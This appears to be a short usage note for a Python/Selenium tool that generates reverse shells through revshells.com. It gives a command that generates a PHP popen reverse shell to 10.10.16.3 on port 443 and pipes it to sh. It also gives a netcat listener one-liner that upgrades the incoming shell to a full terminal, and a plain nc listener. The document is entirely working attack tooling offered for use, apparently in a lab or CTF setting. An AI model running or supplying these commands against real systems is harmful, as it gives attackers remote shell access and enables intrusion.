use selenium with python3 on revshells.com (or docker revshells) to generate shells.
revshell command:
rev_shell.py --ip 10.10.16.3 --port 443 -it 'PHP popen' -os linux -st zsh | sh
Listener used (optional):
stty raw -echo; (echo 'script -qc "/bin/bash" /dev/null';echo pty;echo;echo "stty$(stty -a | awk -F ';' '{print $2 $3}' | head -n 1)";echo export PATH=\$PATH:/usr/pkg/bin:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/games:/tmp;echo export TERM=screen;echo alias ll='ls -lsaht'; echo clear; echo id;cat) | nc -lvnp 443 && reset
Normal listener:
nc -lvnp 443